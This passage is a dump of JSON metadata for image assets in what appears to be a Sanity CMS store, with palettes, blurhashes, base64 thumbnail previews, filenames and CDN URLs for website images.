c455b","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044186","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eeac47","foreground":"#000","population":3.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ac9c74","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eeac47","foreground":"#000","population":3.7,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b7f56","foreground":"#fff","population":1.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0aa6e8","foreground":"#fff","population":0.65,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"simplilearn logo.svgz","path":"images/sczeoy4w/production/b4b586e93a3d32f2802d8ab0590d9288fc930b93-156x48.svg","sha1hash":"b4b586e93a3d32f2802d8ab0590d9288fc930b93","size":2510,"uploadId":"zbrYJszOrIqaY5lm84RvUCNBV4yNR9JC","url":"https://cdn.sanity.io/images/sczeoy4w/production/b4b586e93a3d32f2802d8ab0590d9288fc930b93-156x48.svg"} {"_createdAt":"2023-12-20T08:01:24Z","_id":"image-b4b8d2780c1069ca23be312c45be38fb4760d96b-5906x5906-jpg","_rev":"Do3156plRwIXmiihO3VHCx","_type":"sanity.imageAsset","_updatedAt":"2023-12-20T08:01:24Z","assetId":"b4b8d2780c1069ca23be312c45be38fb4760d96b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHDS:tt700IU~qfQayofofWB9FWB-;ofRjD%ay-;ofRjRjRjt7xuRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":5906,"width":5906},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcIAQX/xAAlEAABAwMCBgMAAAAAAAAAAAABAAIEAwYRBQcSEyExQYEUIlH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8Ah2zuhQbgu+jC1EhtMjILu3tWPeGwbct62q0qixleoGcLOWBlp8dlINktQ+Bf0HNAVm1MscCM4H6rdvldmnw7UEaC+PMmPfn6Nzy248oMqHoSi653E4uPcnKIPcsWXWg3dpVeM/gqNkMwfa0NvrDixLaqyo0ajTrSWnmFrQM9URBlxERB/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":1.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Johan Breidemalm-RedigeraLargeSquare (1).jpg","path":"images/sczeoy4w/production/b4b8d2780c1069ca23be312c45be38fb4760d96b-5906x5906.jpg","sha1hash":"b4b8d2780c1069ca23be312c45be38fb4760d96b","size":5821474,"uploadId":"ZLxt27UVhMlucghQpGczPrcWrmdmqw9O","url":"https://cdn.sanity.io/images/sczeoy4w/production/b4b8d2780c1069ca23be312c45be38fb4760d96b-5906x5906.jpg"} {"_createdAt":"2022-06-15T20:02:38Z","_id":"image-b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844-png","_rev":"8WeirZ6KB9gJqgJfviQESl","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:37:06Z","assetId":"b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQ8hI+I]WX%0IqtWtSayemSiS8xaj[Rjt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACs0lEQVQokU2Q60+SYRiHn1cELBPLptk5P7QKRBQEX63Q0oEoWJBpOKfpjJNAnjpphabrtGxaNKr1pVrrwFbrnFF9yPq7rnrBWR+u3fdz39t1//YIrTeDrus7G078oLj7O0XH/6HMc7NvFHgzqDqWEO4vqN3v2OB+RnHbU1TOV4jWN0jtH5HcS4hSf4aq4WXksd/YRn5hji1THf2JaThHbXwZc+wnFQPfWHv0I/mu1+zwPMTReYlGb4Iy1wPyFKnrPVL7Z8TGzrcYA0vUxTLYohms0a9YIkuYw18wBT5jCn5CP/iBrd2v0bpesN75kBbveeL+HsLdfchHEqxxPkE40kiONGKd6zHbu56zu/cVe/vSGE6mMfSn2dP7kp1dzyj3Pqao9RH5h+4j7Cm2NF/F7xvgjN/HhL8TjzdKcfMdhP0B4mASoW1apKT1HuXuFJs9KbZ2pNjWkWJT+z10LQto7fPkNdxE1F1HyNfZ0TJNT+8IkcAZhgMTHD0xwcbGKwjrHMI6g5Bs0+TLM2jqZ1DL06jlBBo5gbruMnm1FxGWKYR5EmG+QF7tFBWuWXzBefrGkvSP3qVt4AZljVMI03gOUTXKKsYRhDG+wukVlD6GxjxKqf0C+iNz7O+9RWPfPE39t6jvucEux0UKrSNIlRGEMISQsoRReqFUZVE5nOv1QYQhSEnDGLbua7jDSdyRJO1KDSdpC93BMbSA3pNAY4ogCgxD6ExBiiwxNDVxpKqVhIpQH0LsCyD0AYptp6k5NpsVtAYWaR68jfPUAp5IEl88hblzDq0i1BmH2GSNUXpwkrXyJFL1OKIytpIuJ1NQVYbQWeOU2ycoOzBOScMoW5rOZpPV+GbZfvgcKmMIoTZGKLCcRStPo6qdyv2bkuw/WTblvlM5Vt+BrKDQEs0e0lZHkP7u/gDWNaMV9wdnAQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#432923","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04347f","foreground":"#fff","population":11.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04347f","foreground":"#fff","population":11.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9096b5","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bbeeb","foreground":"#000","population":1.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b79a3","foreground":"#fff","population":1.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef7912","foreground":"#fff","population":2.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844.png","path":"images/sczeoy4w/production/b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844.png","sha1hash":"b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96","size":131240,"uploadId":"Xdhy3VHKK8wWIUeyXTnUthX45QArAi9j","url":"https://cdn.sanity.io/images/sczeoy4w/production/b4ebb964f2f0043a29d6ff2fc23fb0d840d0aa96-1567x844.png"} {"_createdAt":"2023-06-15T09:33:46Z","_id":"image-b4f29f3d5220829b5697bb5595a565d5ad5901eb-1200x630-jpg","_rev":"FJE9FJz5NeK3Yo2P5PjUry","_type":"sanity.imageAsset","_updatedAt":"2023-06-15T09:33:46Z","assetId":"b4f29f3d5220829b5697bb5595a565d5ad5901eb","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB71v,%IRMjYRk?dowNFf,WCs+WEoLs:WA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQDBQf/xAAiEAABAwMEAwEAAAAAAAAAAAABAAIDBAUREhQhMRMyQVH/xAAXAQADAQAAAAAAAAAAAAAAAAABAgQG/8QAGxEAAgEFAAAAAAAAAAAAAAAAAAERAgMTMUH/2gAMAwEAAhEDEQA/AMborhamwRNfRZlaMOOOypau40TYxtqOMj75GqnDjtGDjv8AEtITqeMrT24VMkj2NSmCeV0hiEeT6t6CEhITrPKE2RLgIP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#352c62","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b0a70","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d6d6e4","foreground":"#000","population":6.03,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6d6e4","foreground":"#000","population":6.03,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7579bd","foreground":"#fff","population":0.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f96","foreground":"#fff","population":1.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242d90","foreground":"#fff","population":2.74,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DevRel_meta_preview_image.jpeg","path":"images/sczeoy4w/production/b4f29f3d5220829b5697bb5595a565d5ad5901eb-1200x630.jpg","sha1hash":"b4f29f3d5220829b5697bb5595a565d5ad5901eb","size":198037,"uploadId":"X9adr7LBXO5FCht8QqmycAbmMqVkkya9","url":"https://cdn.sanity.io/images/sczeoy4w/production/b4f29f3d5220829b5697bb5595a565d5ad5901eb-1200x630.jpg"} {"_createdAt":"2024-06-14T08:20:53Z","_id":"image-b54e8b0d35a7582eb2c101df1106bc39bdc48f4c-1520x917-jpg","_rev":"V7hUJb5ScZMSQ02ZsHpgfH","_type":"sanity.imageAsset","_updatedAt":"2024-06-14T08:20:53Z","assetId":"b54e8b0d35a7582eb2c101df1106bc39bdc48f4c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8Ss52%Ms+t7?b~pM|WCbFRktRNGM|ofax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6575790621592148,"height":917,"width":1520},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAECBAj/xAAgEAABAwQCAwAAAAAAAAAAAAABAAIDBBESIRMxI1Fx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQL/xAAWEQEBAQAAAAAAAAAAAAAAAAAAARH/2gAMAwEAAhEDEQA/ANQANbM8jv6m+Q4AnW0nHzFKaBlRHxyXx70bKpBqw3YuhRp4WQRCNl8R7N0KaX//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#535454","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#343c97","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3441ba","foreground":"#fff","population":0.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5aacb","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#afe7fc","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#556aa7","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3441ba","foreground":"#fff","population":0.44,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Valkey Create Service.jpg","path":"images/sczeoy4w/production/b54e8b0d35a7582eb2c101df1106bc39bdc48f4c-1520x917.jpg","sha1hash":"b54e8b0d35a7582eb2c101df1106bc39bdc48f4c","size":151303,"uploadId":"LnfaKBGwTcdTEtZJrDETSZY4P079minC","url":"https://cdn.sanity.io/images/sczeoy4w/production/b54e8b0d35a7582eb2c101df1106bc39bdc48f4c-1520x917.jpg"} {"_createdAt":"2023-06-07T09:08:51Z","_id":"image-b56e59b1a7a1561f154fc1b588d7b5bc20cd32d0-2562x1236-png","_rev":"OSa4Of7leLeKOMRysemw9I","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T09:08:51Z","assetId":"b56e59b1a7a1561f154fc1b588d7b5bc20cd32d0","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0728155339805827,"height":1236,"width":2562},"exif":{"PixelXDimension":2562,"PixelYDimension":1236,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAABaUlEQVQokW2S667bIBCE8/5PeaSeyIkNmDuYi78KnORUbX+MhNid2dmBm7WWgRgjrTXO8+TsnR49TQm62jh3CRNinrt3tFrpo/cv3KQJSO3wIVBKoffOWQtJCtT3L9xjoe6CrhV9iG1P8uOJ3x3HMfrbxXkLbjqwSoM2lpQSdUwuB2FbeXx9oe53slgpcqMOPBfi94LdDDGmaWJyXqI3Lz1GGOwQzHkWxzrJOeS6sT8eRLFy7JKq1UTWBu/C3CqlS/QjGDeLExpvHTnnz8RcKrsP7FrjrCGNSMbAUshHwYWE92FmPzjv/G/aWbQ1hFdhOmyNWg9StATvpvNSKq33CZ8Ku4uEP1Ye99ejRIP0/wr2mqhRkYKZzt8OBtGFA2X8/wWFDWzaYN218o9gpEZB9IqYIuUVfG+NHDJOO4IPHMfxw+knt0UF7qtCSEUIV8PMpDgOf8fsC8aYT/itVMp4EKlx5vq/k/Ma+Bu3cLq4+9OFZgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#493567","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b587e","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e24030","foreground":"#fff","population":0.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9db9ca","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8eb94","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a3688b","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e24030","foreground":"#fff","population":0.42,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"choose-free-plan.png","path":"images/sczeoy4w/production/b56e59b1a7a1561f154fc1b588d7b5bc20cd32d0-2562x1236.png","sha1hash":"b56e59b1a7a1561f154fc1b588d7b5bc20cd32d0","size":321406,"uploadId":"fc1kc6pP1BlMjdgbcZyutnmLCfdH9Q4i","url":"https://cdn.sanity.io/images/sczeoy4w/production/b56e59b1a7a1561f154fc1b588d7b5bc20cd32d0-2562x1236.png"} {"_createdAt":"2022-09-08T16:32:25Z","_id":"image-b5788161363d17cec51b2ecbd57e0b571ce35067-3802x1414-png","_rev":"CK1sLU2mnwa3vmbYWEeego","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:25Z","assetId":"b5788161363d17cec51b2ecbd57e0b571ce35067","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D2Q,E=^*Md00D+00tlX9oP01","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6888260254596887,"height":1414,"width":3802},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABTklEQVQYlU3PW0sbURAH8P3+n8BSmiAlFYSA0Vry0gcVs7YV9EWs5ra57Z7LnuucOZfdPMgmUDoPw7z8Zv6TXfTvh59vz09uhp/ufg6f/j6vn/PZj8Hviy+Ty34+6k1G/cmol496+WU/vzp9+P714Xrwa/ztz/jsMXt/Keavm+K9XM9pta4F07QSxbQspuVqRpZvu9WMbOZ0Pe/6dsE2C7JZVruCVyuRccasMSGGlFIIER26Q3nsBq00WPDeA4AxxnZlEF2MMaUm45QpIREgIHrsBCIGH2KMzjkhhJISALTWjDFGac25tTbG1LZtxnZbVm4lI6bmoLot3vsYY5MSIkopj9iYDlNCas6stU1q9vt9xsodK7c1qVTNQSt04PEfdv9hczhMBOcA0DQHrJVSUhqtnHMhhC454uGldIwtpQCwWmtKKSFVzblzrm07/AELrntuf0TUgwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4484","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#462063","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#79579d","foreground":"#fff","population":8.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bda4d3","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc94dc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#79579d","foreground":"#fff","population":8.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#863ec0","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b5788161363d17cec51b2ecbd57e0b571ce35067-3802x1414.png","path":"images/sczeoy4w/production/b5788161363d17cec51b2ecbd57e0b571ce35067-3802x1414.png","sha1hash":"b5788161363d17cec51b2ecbd57e0b571ce35067","size":271718,"uploadId":"kInZerj8rPXUFO43QDF69xBVC1B751MQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/b5788161363d17cec51b2ecbd57e0b571ce35067-3802x1414.png"} {"_createdAt":"2023-03-30T07:37:45Z","_id":"image-b5a9f6e1165d8f3185f486511e15454ed4381051-800x800-jpg","_rev":"cjTuTLzi2o5xCqfj9HvLWX","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T07:37:52Z","altText":null,"assetId":"b5a9f6e1165d8f3185f486511e15454ed4381051","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAYHBAUI/8QAIxAAAQQCAgICAwAAAAAAAAAAAgABAwQFEQYSITEWUSJBYf/EABgBAAIDAAAAAAAAAAAAAAAAAAQHAgMF/8QAJBEAAQMDAwQDAAAAAAAAAAAAAQIDEQAEIQUxQRITFVFhkbH/2gAMAwEAAhEDEQA/AIRjc3azHJKD3JmZ4nYewDvQt/Fco3qg3YRp2ZZo5R/NpR11f7VZ8b4heiOrfqVJuobczfxtv2pll8ZnLOKC1gIDYoHcpIpH2Ra+lTerauXkNskBIEfAjepaloBt7J5LwCnSMRkj0J4g71LGnj17ZFR97lvIqNkoLcRwyj7Ag07IiBob5Egilf469G8fddLZAGhLpC7xxxk0bAPhnH6dbCpj4TikN+7OLPrRaZEQ6EpAED3TT6iW1SeRWH8fxeWEbN+lDNNrp2cfOm9IiIm1cV2EZ4H5WattJUcV/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e371e","foreground":"#fff","population":5.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04407b","foreground":"#fff","population":6.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#50fa96","foreground":"#000","population":7.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5c4b6","foreground":"#000","population":1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#50fa96","foreground":"#000","population":7.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f583f","foreground":"#fff","population":6.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0cf286","foreground":"#000","population":4.21,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"ola-niechcial.jpg","path":"images/sczeoy4w/production/b5a9f6e1165d8f3185f486511e15454ed4381051-800x800.jpg","sha1hash":"b5a9f6e1165d8f3185f486511e15454ed4381051","size":100362,"title":"Ola Niechcial","uploadId":"pEOvyBnxw7C7suk7o09rc9GY0mK12WOQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/b5a9f6e1165d8f3185f486511e15454ed4381051-800x800.jpg"} {"_createdAt":"2024-05-20T07:15:11Z","_id":"image-b61820e6d52af14f4fd75797f9a08dd135a713b3-3284x2028-jpg","_rev":"5dKvdU2b7V4fiIIxYxKwGh","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T07:15:11Z","assetId":"b61820e6d52af14f4fd75797f9a08dd135a713b3","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V4S$oxa34q-qD*?bRjjYM{M{ROV@axoeoJ~qWARPt7s:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6193293885601578,"height":2028,"width":3284},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIDCP/EABwQAAMBAAIDAAAAAAAAAAAAAAABAhEDMQQyQf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/8QAFREBAQAAAAAAAAAAAAAAAAAAAAH/2gAMAwEAAhEDEQA/ANP+NCUpZhaJf0Tj7RWfUtCSlnSAJp4AR//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#646666","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#750e15","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#898a8d","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#babad4","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee7980","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#898a8d","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e21c28","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-console-service-overview.jpg","path":"images/sczeoy4w/production/b61820e6d52af14f4fd75797f9a08dd135a713b3-3284x2028.jpg","sha1hash":"b61820e6d52af14f4fd75797f9a08dd135a713b3","size":340592,"uploadId":"n50fQh3Wj5C2wMA8rKiom0HH2HwBxtAN","url":"https://cdn.sanity.io/images/sczeoy4w/production/b61820e6d52af14f4fd75797f9a08dd135a713b3-3284x2028.jpg"} {"_createdAt":"2022-06-15T20:02:30Z","_id":"image-b64d65c1f07ada1861cbe2d7bea095be853a1ec4-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8DxB","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:11Z","assetId":"b64d65c1f07ada1861cbe2d7bea095be853a1ec4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdQ9QG.To~MxxGT2XSRPxVX9xuROV@t7X9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADIElEQVQokVXOW1MTZxzH8byjvgUv+gI605letJdtx2mVzrR2HJuIWomtWGQsCNhEjDGUIcnGggVDMnIIQVwkm3OQzZ6yyebAPs8TctiAJeT/72i96cVnfr/Lr82osR9kteYpypWQotWCqlbnZLXKSYrBSbLx/pcNyh0Si6MNk2tlVjgrepPr7Lg4quxxpiwGaTIdotmClxqNYZumN2YzWbGYEPLNdFYkmaxIhdQ+FZKF91LpN1RSKrRhdijTD6gVvUrfes5RFvqGSnE/za8ukoLXzXJBv5rldxdtRq0ZULQaK8oVlNUaKmoNJdlASfmPrFaxWGKYki08EHaw9fRLNN0fI/9wCJd80/hszoOhyXs4N36355uaTtpMai2Y1DIPSRdN2h2YpAuH/9MBQWyCJ1yEsN8FleB5EP68Au7Rn2ByxA5PXNMD19hvOH3pUvfJt0MZG2E9P2E9QlgPCevBh0XCLKTvNKqY24vi8uMRTDz4FNXAeYxzE+gft2Pg9ve45BqH5TEnvhy+3Jad17feFfpNahGTWmhSCwi1kNAOUtpGRhgyPYGNzRvYeHgOyeRHmHd/huuzdow9uIK87zZmVuZAD89jJ7rAgH/+94dCixDWRUo7A0Zb0CQMWqYJR40K1CUe1I0pKPm+htzEJxC89Tn8cfMChGeuQSHiAy0Zg2ruFbaLPD0r74VslLT9lLRMRprYNMmgZdahc2iA1ShB25Cgkt+B/c0ApFYewYp3HJz278D+4xDMz07Bzotl4OMbg93tdVSEKD2R1xZtR5VygJZUapYUPDIU7NUVPKkX8Z/aGzwup/FI+AvN1V+xvD6B/LP7ODNyAceuXsSlhccYXwvjZmQJX656UdqaaZ3sL0Rs3WLmPi0Iyfq+oDXVjPjWyIv9alY8q6bFM/21eJoOiqexX8Tjreti9flledt9UX/hcer5jaeamljTZH5RK239rlN+LNsXOZ/tWMt90ZVT11pK8lavlBruGykHGIIDjIQDKq8doG07QIo4IO91kNhdp7D8aCIbi9xria/u9PXd0VNlfbR/MH/nrOj/GfT4V/8CMibKyvZGQC0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30354d","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f4804","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f68f11","foreground":"#000","population":7.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0c498","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb984","foreground":"#000","population":0.94,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c549c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f68f11","foreground":"#000","population":7.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b64d65c1f07ada1861cbe2d7bea095be853a1ec4-1567x844.png","path":"images/sczeoy4w/production/b64d65c1f07ada1861cbe2d7bea095be853a1ec4-1